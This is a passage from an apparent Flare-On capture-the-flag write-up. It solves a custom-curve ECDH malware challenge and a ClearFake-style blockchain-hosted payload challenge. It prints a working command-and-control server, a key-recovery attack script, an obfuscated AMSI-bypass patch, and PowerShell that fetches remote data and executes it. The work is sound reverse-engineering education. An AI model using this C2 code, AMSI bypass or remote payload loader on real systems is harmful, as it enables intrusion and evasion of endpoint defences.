BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(bigint_0x13371337, (__int64)str_13371337, 16);
if ( !objs->gen || !objs->socket_stream )
{
v42 = RhpNewFast(&unk_140160BA8);
str_null = dec_str(&qword_14013FF20);
S_P_CoreLib_System_InvalidOperationException___ctor_0(v42, (unsigned __int64)str_null);
RhpThrowEx(v42);
}
privkey = get_privkey(128);
v4 = (*(__int64 (__fastcall **)(void *, __int64))(*(_QWORD *)objs->gen + 224i64))(objs->gen, privkey);// __int64 BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECPointBase__Multiply(__int64 a1, __int64 a2)
v5 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v4 + 136i64))(v4);// __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECPoint__Normalize(_QWORD *a1)
P = v5;
if ( *(_QWORD *)(v5 + 16) )
v7 = 0;
else
v7 = *(_QWORD *)(v5 + 24) == 0i64;
if ( v7 )
{
v44 = RhpNewFast(&unk_140160BA8);
str_inf = dec_str(&qword_14013FF48);
S_P_CoreLib_System_InvalidOperationException___ctor_0(v44, (unsigned __int64)str_inf);
RhpThrowEx(v44);
}
buf_0x30 = RhpNewArray(word_14018B688, 0x30ui64);
v9 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)P + 80i64))(P);// AffineXCoord?
Px = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v9 + 48i64))(v9);
v11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(Px, bigint_0x13371337);
bufs[1].data = (void *)(buf_0x30 + 16);
bufs[1].size = 48;
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2((__int64)v11, 1, (__int64)&bufs[1]);
socket_stream = objs->socket_stream;
bufs[0].data = (void *)(buf_0x30 + 16);
bufs[0].size = 48;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0(socket_stream, bufs);
v13 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)P + 88i64))(P);// AffineYCoord?
Py = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v13 + 48i64))(v13);
v15 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(Py, bigint_0x13371337);
bufs[1].data = (void *)(buf_0x30 + 16);
bufs[1].size = 48;
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2((__int64)v15, 1, (__int64)&bufs[1]);
v16 = objs->socket_stream;
bufs[0].data = (void *)(buf_0x30 + 16);
bufs[0].size = 48;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0(v16, bufs);
v17 = objs->socket_stream;
bufs[1].data = (void *)(buf_0x30 + 16);
bufs[1].size = 48;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0((__int64)v17, (__int64)&bufs[1]);
v18 = RhpNewFast(&unk_14015B268);
if ( *(&qword_140158AC8 - 1) )
_GetGCStaticBase_BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger();
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9(v18, 1, buf_0x30, 0, 0x30u, 1);
M1x = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(v18, bigint_0x13371337);
v20 = objs->socket_stream;
bufs[1].data = (void *)(buf_0x30 + 16);
bufs[1].size = 48;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0((__int64)v20, (__int64)&bufs[1]);
v21 = RhpNewFast(&unk_14015B268);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9(v21, 1, buf_0x30, 0, 48u, 1);
M1y = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(v21, bigint_0x13371337);
v23 = (*(__int64 (__fastcall **)(void *, uint32_t *, uint32_t *))(*(_QWORD *)objs->curve + 80i64))(
objs->curve,
M1x,
M1y); // __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECCurve__ValidatePoint(__int64 a1)
v24 = (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)v23 + 224i64))(v23, privkey);// __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECPointBase__Multiply(__int64 a1, __int64 a2)
v25 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v24 + 136i64))(v24);// Normalize
M1 = v25;
if ( *(_QWORD *)(v25 + 16) )
v27 = 0;
else
v27 = *(_QWORD *)(v25 + 24) == 0i64;
if ( v27 )
{
v46 = RhpNewFast(&unk_140160BA8);
str_inf_1 = dec_str(&qword_14013FF48);
S_P_CoreLib_System_InvalidOperationException___ctor_0(v46, (unsigned __int64)str_inf_1);
RhpThrowEx(v46);
}
v28 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)M1 + 80i64))(M1);// AffineXCoord
Mx = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v28 + 48i64))(v28);
bufs[1].data = (void *)(buf_0x30 + 16);
bufs[1].size = 48;
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(Mx, 1, (__int64)&bufs[1]);
v30 = (void *)System_Security_Cryptography_System_Security_Cryptography_SHA512__HashData(buf_0x30);
if ( v30 )
{
keybuf = (char *)v30 + 16;
keylen = *((unsigned int *)v30 + 2);
}
else
{
keybuf = 0i64;
keylen = 0i64;
}
if ( (unsigned int)keylen < 40 )
S_P_CoreLib_System_ThrowHelper__ThrowArgumentOutOfRangeException(keylen);
v33 = (void *)RhpNewFast(&unk_14015C6C0);
if ( *(&qword_140158AF8 - 1) )
sub_1400010AE(); // void __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Crypto_Engines_Salsa20Engine___cctor(__int64 a1, __int64 a2)
BouncyCastle_Cryptography_Org_BouncyCastle_Crypto_Engines_ChaChaEngine___ctor_0(v33, qword_140158AF8);
RhpAssignRefAVLocation(&objs->chacha, (unsigned __int64)v33);
ptr_key = RhpNewFast(&unk_14015C5B8);
key = RhpNewArray(word_14018B688, 0x20ui64);
v36 = *((_OWORD *)keybuf + 1);
*(_OWORD *)(key + 16) = *(_OWORD *)keybuf;
*(_OWORD *)(key + 32) = v36;
RhpAssignRefAVLocation((void **)(ptr_key + 8), key);
params = RhpNewFast(&unk_14015C610);
RhpAssignRefAVLocation((void **)(params + 8), ptr_key);
iv = RhpNewArray(word_14018B688, 8ui64);
*(_QWORD *)(iv + 16) = *((_QWORD *)keybuf + 4);
RhpAssignRefAVLocation((void **)(params + 16), iv);
qword_14015A6C0(objs->chacha, 1i64, params); // ChaChaEngine.Init(...)
v39 = sub_1401083C0();
str_verify = dec_str(&qword_140140100);
if ( !(unsigned int)String__Equals_0(v39, str_verify) )
{
v48 = RhpNewFast(&unk_140160BA8);
str_verify_failed = dec_str(&qword_140140130);
S_P_CoreLib_System_InvalidOperationException___ctor_0(v48, (unsigned __int64)str_verify_failed);
RhpThrowEx(v48);
}
str_verify_1 = dec_str(&qword_140140100);
send_enc_socket(str_verify_1);
}
void __stdcall Program_Main()
{
Program_static *objs; // rbx
void *str_addr_port; // rsi
unsigned __int64 *str_delim; // rdx
_QWORD *v3; // rax
__int64 v4; // rcx
__int64 hostname; // rsi
__int64 v6; // rax
void *v7; // rdi
uint32_t v8; // r14d
__int64 CurrentInfo; // rax
int v10; // eax
unsigned int port; // edi
__int64 v12; // r14
unsigned __int64 Stream; // rax
array v14; // [rsp+28h] [rbp-40h] BYREF
__int64 v15[5]; // [rsp+38h] [rbp-30h] BYREF
v14 = 0i64;
v15[0] = 0i64;
if ( qword_140158FC0[-1] )
_GetGCStaticBase_System_Net_Sockets_System_Net_Sockets_SocketsTelemetry();
objs = glb_obj_state;
str_addr_port = dec_str(&qword_14013EB90);
str_delim = (unsigned __int64 *)dec_str(&qword_14013F060);
if ( !str_delim )
str_delim = &qword_14013A048;
v3 = str_split(str_addr_port, str_delim, 0i64, 0x7FFFFFFF, 0);
v4 = *((unsigned int *)v3 + 2);
if ( !(_DWORD)v4 || (hostname = v3[2], (unsigned int)v4 <= 1) )
S_P_CoreLib_Internal_Runtime_CompilerHelpers_ThrowHelpers__ThrowIndexOutOfRangeException(v4);
v6 = v3[3];
if ( !v6 )
S_P_CoreLib_System_ThrowHelper__ThrowArgumentNullException(17i64);
v7 = (void *)(v6 + 12);
v8 = *(_DWORD *)(v6 + 8);
v14.data = (void *)(v6 + 12);
v14.size = v8;
CurrentInfo = S_P_CoreLib_System_Globalization_NumberFormatInfo__get_CurrentInfo();
v10 = sub_14012B5E0(&v14, 7, CurrentInfo, (int *)v15);
if ( v10 )
{
if ( v10 == 1 )
{
v14.data = v7;
v14.size = v8;
sub_1401292F0((__int64)&v14);
}
sub_14012F480();
}
port = v15[0];
v12 = RhpNewFinalizable(&unk_14015EC20);
new_socket(v12, hostname, port);
RhpAssignRefAVLocation(&objs->socket, v12);
Stream = System_Net_Sockets_System_Net_Sockets_TcpClient__GetStream((__int64)objs->socket);
RhpAssignRefAVLocation(&objs->socket_stream, Stream);
do_kex();
handle_cmd();
}
Homebrew server:
from sage.all import *
import hashlib
import random
import socketserver
import socket
from Crypto.Cipher.ChaCha20 import new as new_chacha20, ChaCha20Cipher
CURVE_Q = 0xC90102FAA48F18B5EAC1F76BB40A1B9FB0D841712BBE3E5576A7A56976C2BAECA47809765283AA078583E1E65172A3FD
CURVE_A = 0xA079DB08EA2470350C182487B50F7707DD46A58A1D160FF79297DCC9BFAD6CFC96A81C4A97564118A40331FE0FC1327F
CURVE_B = 0x9F939C02A7BD7FC263A4CCE416F4C575F28D0C1315C4F0C282FCA6709A5F9F7F9C251C9EEDE9EB1BAA31602167FA5380
CURVE_GX = 0x087B5FE3AE6DCFB0E074B40F6208C8F6DE4F4F0679D6933796D3B9BD659704FB85452F041FFF14CF0E9AA7E45544F9D8
CURVE_GY = 0x127425C1D330ED537663E87459EAA1B1B53EDFE305F6A79B184B3180033AAB190EB9AA003E02E9DBF6D593C5E3B08182
K = GF(CURVE_Q)
E = EllipticCurve(K, (K(CURVE_A), K(CURVE_B)))
G = E(CURVE_GX, CURVE_GY)
XOR_KEY = 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337
def recv_str(s: socket.socket, chacha: ChaCha20Cipher) -> bytes:
buf = bytearray()
while True:
ch = s.recv(1)
if len(ch) == 0:
break
ch = chacha.encrypt(ch[0:1])[0]
if ch == 0:
break
buf.append(ch)
return bytes(buf)
class Handler(socketserver.StreamRequestHandler):
request: socket.socket
def handle(self):
print(f"[*] conn: from {self.client_address}")
Px = int.from_bytes(self.request.recv(48), "big") ^ XOR_KEY
Py = int.from_bytes(self.request.recv(48), "big") ^ XOR_KEY
P = E(Px, Py)
print(f"[*] kex: P = {P}")
k = random.randint(2, CURVE_Q - 1)
print(f"[*] kex: k = {k}")
M = k * P
assert not M.is_zero()
C = k * G
print(f"[*] kex: C = {C}")
keybuf = hashlib.sha512(int(M.x()).to_bytes(48, "big")).digest()
key, iv = keybuf[:32], keybuf[32:32+8]
print("[*] kex: key:", key.hex())
print("[*] kex: iv:", iv.hex())
self.request.sendall((int(C.x()) ^ XOR_KEY).to_bytes(48, "big"))
self.request.sendall((int(C.y()) ^ XOR_KEY).to_bytes(48, "big"))
chacha = new_chacha20(key=key, nonce=iv)
self.request.sendall(chacha.encrypt(b"verify\x00"))
assert recv_str(self.request, chacha) == b"verify"
print("[+] Connected.")
while True:
try:
cmd = input("> ")
self.request.sendall(chacha.encrypt(cmd.encode("ascii") + b"\x00"))
data = recv_str(self.request, chacha)
print(data.decode("ascii", errors="replace"))
except:
print("[*] Closing.")
break
with socketserver.TCPServer(("0.0.0.0", 31339), Handler) as server:
print(f"[*] Listening on {server.server_address}")
server.serve_forever()
ECDH -> ChaCha20
For a custom curve $C$ and its generator $G$, randomly sample a 128-bit $n$, send $nG$, receive $M=kG$, calculate $S=nM=nkG$, use $\mathrm{SHA512}(S_x)$ as key and IV.
Apply Pohlig-Hellman attack to obtain DL $k’$ over the system of congruences of smaller-order subgroups, then apply a small amount of brute forcing the equation $k’+im=k$ where $m$ is the product of orders of said subgroups. This is feasible because both $k’$ and $m$ are close (~10 bits) to the upper bound of $k$.
from sage.all import *
import hashlib
from Crypto.Cipher.ChaCha20 import new as new_chacha20
from tqdm import tqdm
CURVE_Q = 0xC90102FAA48F18B5EAC1F76BB40A1B9FB0D841712BBE3E5576A7A56976C2BAECA47809765283AA078583E1E65172A3FD
CURVE_A = 0xA079DB08EA2470350C182487B50F7707DD46A58A1D160FF79297DCC9BFAD6CFC96A81C4A97564118A40331FE0FC1327F
CURVE_B = 0x9F939C02A7BD7FC263A4CCE416F4C575F28D0C1315C4F0C282FCA6709A5F9F7F9C251C9EEDE9EB1BAA31602167FA5380
CURVE_GX = 0x087B5FE3AE6DCFB0E074B40F6208C8F6DE4F4F0679D6933796D3B9BD659704FB85452F041FFF14CF0E9AA7E45544F9D8
CURVE_GY = 0x127425C1D330ED537663E87459EAA1B1B53EDFE305F6A79B184B3180033AAB190EB9AA003E02E9DBF6D593C5E3B08182
K = GF(CURVE_Q)
E = EllipticCurve(K, (K(CURVE_A), K(CURVE_B)))
G = E(CURVE_GX, CURVE_GY)
XOR_KEY = 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337
PX = 0x0A6C559073DA49754E9AD9846A72954745E4F2921213ECCDA4B1422E2FDD646FC7E28389C7C2E51A591E0147E2EBE7AE ^ XOR_KEY
PY = 0x264022DAF8C7676A1B2720917B82999D42CD1878D31BC57B6DB17B9705C7FF2404CBBF13CBDB8C096621634045293922 ^ XOR_KEY
P = E(PX, PY)
MX = 0xA0D2EBA817E38B03CD063227BD32E353880818893AB02378D7DB3C71C5C725C6BBA0934B5D5E2D3CA6FA89FFBB374C31 ^ XOR_KEY
MY = 0x96A35EAF2A5E0B430021DE361AA58F8015981FFD0D9824B50AF23B5CCF16FA4E323483602D0754534D2E7A8AAF8174DC ^ XOR_KEY
C = E(MX, MY)
CIPHER = bytes.fromhex("f272d54c31860f3fbd43da3ee32586dfd7c50cea1c4aa064c35a7f6e3ab0258441ac1585c36256dea83cac93007a0c3a29864f8e285ffa79c8eb43976d5b587f8f35e699547116fcb1d2cdbba979c989998c61490bce39da577011e0d76ec8eb0b8259331def13ee6d86723eac9f0428924ee7f8411d4c701b4d9e2b3793f6117dd30dacba2cae600b5f32cea193e0de63d709838bd6a7fd35edf0fc802b15186c7a1b1a475daf94ae40f6bb81afcedc4afb158a5128c28c91cd7a8857d12a661acaecaec8d27a7cf26a1727368535a44e2f3917ed09447ded797219c966ef3dd5705a3c32bdb1710ae3b87fe66669e0b4646fc416c399c3a4fe1edc0a3ec5827b84db5a79b81634e7c3afe528a4da15457b637815373d4edcac2159d056f5981f71c7ea1b5d8b1e5f06fc83b1def38c6f4e694e3706412eabf54e3b6f4d19e8ef46b04e399f2c8ece8417fa4008bc54e41ef701fee74e80e8dfb54b487f9b2e3a277fa289cf6cb8df986cdd387e342ac9f5286da11ca27840845ca68d1394be2a4d3d4d7c82e531b6dac62ef1ad8dc1f60b79265ed0deaa31ddd2d53aa9fd9343463810f3e2232406366b48415333d4b8ac336d4086efa0f15e6e590d1ec06f36")
def pohlig_hellman(P, Q):
zList = []
conjList = []
rootList = []
n = P.order()
factors = n.factor()
modulus = 1
print(f"factors: {factors}")
for base, exp in factors:
if base > 10000000:
continue
modulus *= base ** exp
P0 = (ZZ(n / base)) * P
conjList.append(0)
rootList.append(base ** exp)
for i in range(exp):
Qpart = Q
for j in range(1, i + 1):
Qpart = Qpart - (zList[j - 1] * (base ** (j - 1)) * P)
Qi = (ZZ(n / (base ** (i + 1)))) * Qpart
print(f"subgroup {base}**{exp}")
zList.insert(i, Qi.log(P0))
conjList[-1] = conjList[-1] + zList[i] * (base ** i)
k = crt(conjList, rootList)
return k, modulus
print("start ecdlp")
kp, modulus = pohlig_hellman(G, P)
print(kp)
for i in tqdm(range(1, 100000)):
k = K(kp + i * modulus)
if k * G == P:
print(f"found: {k}")
break
M = k * C
keybuf = hashlib.sha512(int(M.x()).to_bytes(48, "big")).digest()
key, iv = keybuf[:32], keybuf[32:32+8]
chacha = new_chacha20(key=key, nonce=iv)
print(chacha.encrypt(CIPHER))
verify\x00verify\x00ls\x00=== dirs ===\r\nsecrets\r\n=== files ===\r\nfullspeed.exe\r\n\x00cd|secrets\x00ok\x00ls\x00=== dirs ===\r\nsuper secrets\r\n=== files ===\r\n\x00cd|super secrets\x00ok\x00ls\x00=== dirs ===\r\n.hidden\r\n=== files ===\r\n\x00cd|.hidden\x00ok\x00ls\x00=== dirs ===\r\nwait, dot folders aren't hidden on windows\r\n=== files ===\r\n\x00cd|wait, dot folders aren't hidden on windows\x00ok\x00ls\x00=== dirs ===\r\n=== files ===\r\nflag.txt\r\n\x00cat|flag.txt\x00RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==\x00exit\x00
D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com
8 - clearlyfake
I am also considering a career change myself but this beautifully broken JavaScript was injected on my WordPress site I use to sell my hand-made artisanal macaroni necklaces, not sure what’s going on but there’s something about it being a Clear Fake? Not that I’m Smart enough to know how to use it or anything but is it a Contract? 7zip archive password: flare
Basic Solidity/EVM reverse engineering challenge with matryoshka-like structure. Stripping off all these layers took efforts, but it fell short before what came after it.
from web3 import Web3
# Connect to the Ethereum node
web3 = Web3(Web3.HTTPProvider("https://bsc-testnet.blockpi.network/v1/rpc/public"))
# Check if connected
if web3.is_connected():
print("Connected to Ethereum node")
# Specify the contract address
contract_address = bytes.fromhex("9223f0630c598a200f99c5d4746531d10319a569")
# Fetch the bytecode
bytecode = web3.eth.get_code(contract_address)
# Print the bytecode
print(f"Bytecode for contract at {contract_address}: {bytecode.hex()}")
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData =
methodId +
web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData,
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData =
new_methodId +
web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call(
{ to: contractAddress, data: newEncodedData },
blockNumber
);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString(
"utf-8"
);
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`);
} catch (error) {
console.error("Error calling contract function:", error);
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
_// Decompiled by library.dedaub.com_
_// 2024.08.29 21:32 UTC_
_// Compiled using the solidity compiler version 0.8.26_
function function_selector() public payable {
revert();
}
function testStr(string str) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(str <= uint64.max);
require(4 + str + 31 < 4 + (msg.data.length - 4));
require(str.length <= uint64.max, Panic(65)); _// failed memory allocation (too much memory)_
v0 = new bytes[](str.length);
require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); _// failed memory allocation (too much memory)_
require(str.data + str.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, str.data, str.length);
v0[str.length] = 0;
if (v0.length == 17) {
require(0 < v0.length, Panic(50)); _// access an out-of-bounds or negative index of bytesN array or slice_
v1 = v0.data;
if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
require(1 < v0.length, Panic(50)); _// access an out-of-bounds or negative index of bytesN array or slice_
if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
... // Snipped for brevity
} else {
v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
}
} else {
v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
}
} else {
v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
}
MEM[MEM[64]] = address(v6);
return address(v6);
}
_// Note: The function selector is not present in the original solidity code._
_// However, we display it for the sake of completeness._
function function_selector( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5684cff5 == function_selector >> 224) {
testStr(string);
}
}
fallback();
}
giV3_M3_p4yL04d!
Contract at 0x5324EAB94b236D4d1456Edc574363B113CEbf09d
:
_// Decompiled by library.dedaub.com_
_// 2024.09.28 13:35 UTC_
_// Compiled using the solidity compiler version 0.8.26_
_// Data structures and variables inferred from the use of storage instructions_
uint256[] array_0; _// STORAGE[0x0]_
function 0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65)); _// failed memory allocation (too much memory)_
v0 = 0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 < v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
function fallback() public payable {
revert();
}
function 0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 <= v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
function 0x483(uint256 varg0) private {
v0 = v1 = varg0 >> 1;
if (!(varg0 & 0x1)) {
v0 = v2 = v1 & 0x7f;
}
require((varg0 & 0x1) - (v0 < 32), Panic(34)); _// access to incorrectly encoded storage byte array_
return v0;
}
function owner() public payable {
return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}
function 0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65)); _// failed memory allocation (too much memory)_
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); _// failed memory allocation (too much memory)_
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
0x14a(v0);
}
_// Note: The function selector is not present in the original solidity code._
_// However, we display it for the sake of completeness._
function __function_selector__() private {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5c880fcb == msg.data[0] >> 224) {
0x5c880fcb();
} else if (0x8da5cb5b == msg.data[0] >> 224) {
owner();
} else if (0x916ed24b == msg.data[0] >> 224) {
0x916ed24b();
}
}
fallback();
}
Replacer regex: Storage Address:\n\s*0x[0-9a-f]+\nBefore:\n(?:\s*0x[0-9a-f]+\n)?After:\n\s*0x([0-9a-f]+)
One intelligible content:
#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ixajmz, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $fhfyc
$nzwtgvd = [fhfyc]::LoadLibrary("$(('ãmsí.'+'dll').NOrmAlizE([cHaR](70*31/31)+[char](111)+[Char]([Byte]0x72)+[CHaR](109+60-60)+[ChaR](54+14)) -replace [chaR]([bYTE]0x5c)+[CHar]([bYTE]0x70)+[ChAR](123+2-2)+[CHar]([byte]0x4d)+[ChAR]([bYTE]0x6e)+[char]([byTE]0x7d))")
$njywgo = [fhfyc]::GetProcAddress($nzwtgvd, "$(('ÁmsìSc'+'änBuff'+'er').NOrmALIzE([CHaR]([bYTE]0x46)+[Char]([bYTe]0x6f)+[cHAr]([bYTE]0x72)+[CHar](109)+[cHaR]([ByTe]0x44)) -replace [chAR](92)+[Char]([byTE]0x70)+[chaR]([bYTE]0x7b)+[chaR]([BYtE]0x4d)+[char](21+89)+[chaR](31+94))")
$p = 0
[fhfyc]::VirtualProtect($njywgo, [uint32]5, 0x40, [ref]$p)
$haly = "0xB8"
$ddng = "0x57"
$xdeq = "0x00"
$mbrf = "0x07"
$ewaq = "0x80"
$fqzt = "0xC3"
$yfnjb = [Byte[]] ($haly,$ddng,$xdeq,$mbrf,+$ewaq,+$fqzt)
[System.Runtime.InteropServices.Marshal]::Copy($yfnjb, 0, $njywgo, 6)
amsi.dll
, AmsiScanBuffer()
Another obfuscated code:
Set-Variable -Name testnet_endpoint -Value (" ")
Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
# Format each byte as two-digit hex with uppercase letters
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object { '{0:X2}' -f $_ })
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
#Write-Output $hexString
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
# Convert the key to bytes
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform the XOR operation
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {
Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))
}
# Convert the result back to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))
Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
Invoke-Expression $command
CyberChef (FLAREON24
-> 0F 0A 0E 24
)
N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
9 - serpentine
